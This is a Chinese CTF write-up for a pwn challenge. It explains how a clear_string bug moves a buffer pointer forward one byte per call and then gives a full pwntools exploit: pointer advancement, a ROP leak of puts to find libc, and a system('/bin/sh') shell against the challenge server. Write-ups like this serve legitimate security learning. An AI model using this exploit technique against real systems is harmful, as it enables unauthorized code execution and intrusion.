第三题的难度就突然上来了。程序先是个菜单,有好向项都没用;smsg先调用clear_string然后问是否发送,输入Y就退出循环
int smsg()
{
char v1; // [rsp+7h] [rbp-59h] BYREF
void *buf; // [rsp+8h] [rbp-58h] BYREF
char v3; // [rsp+10h] [rbp-50h] BYREF
int v4; // [rsp+5Ch] [rbp-4h]
v4 = 0;
v1 = 78;
buf = &v3;
while ( v1 != 89 )
{
clear_string(&buf, v4);
printf("|\n`->");
v4 = read(0, buf, 0x40uLL);
do
{
printf("Send?(Y/N)");
__isoc99_scanf(" %c", &v1);
}
while ( v1 != 89 && v1 != 78 );
}
return puts("Sent.");
}
clear_string听上去像是清0,但是一般清0都用memset所以这里肯定有问题。看前边v4=0然后就一直没动过,所以传入的参数a2始终是0,这个for循环会运行1次。
*(*a1)++这个会先执行*a1++再执行*,也就是每次运行这个buf指针会加1。
_QWORD *__fastcall clear_string(_QWORD *a1, int a2)
{
_QWORD *result; // rax
int i; // [rsp+18h] [rbp-4h]
for ( i = 0; i <= a2; ++i )
*(_BYTE *)(*a1)++ = 0; // a2=0,执行一次 *buf++;再作 *buf=0 会导致buf指针下移1字节
result = a1;
*a1 -= a2;
return result;
}
这个问题解决了就好办了,每次写之前先执行smsg(N)0x57次将buf指针加1....直到可以溢出位置再向里写放payload
原来buf是指向v3的,这个v3向下0x50是rbp再向下就是函数返回地址了。
完整exp
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('www.bmzclub.cn', 21355)
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context(arch = 'amd64', log_level = 'debug') #
def smsg(send=b'N', data=b'A'):
p.sendlineafter(b'->', data)
p.sendlineafter(b'Send?(Y/N)', send)
def send(msg):
p.sendlineafter(b'>', b'smsg')
for i in range(0x57):
smsg() #(*buf)++
smsg(b'Y', msg)
pop_rdi = 0x000000000040155b # pop rdi ; ret
main = 0x4013fa
payload = flat(pop_rdi, elf.got['puts'], elf.plt['puts'], main)
send(payload)
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
payload = flat(pop_rdi, next(libc_elf.search(b'/bin/sh')), libc_elf.sym['system'])
send(payload)
p.sendline(b'cat /flag')
p.interactive()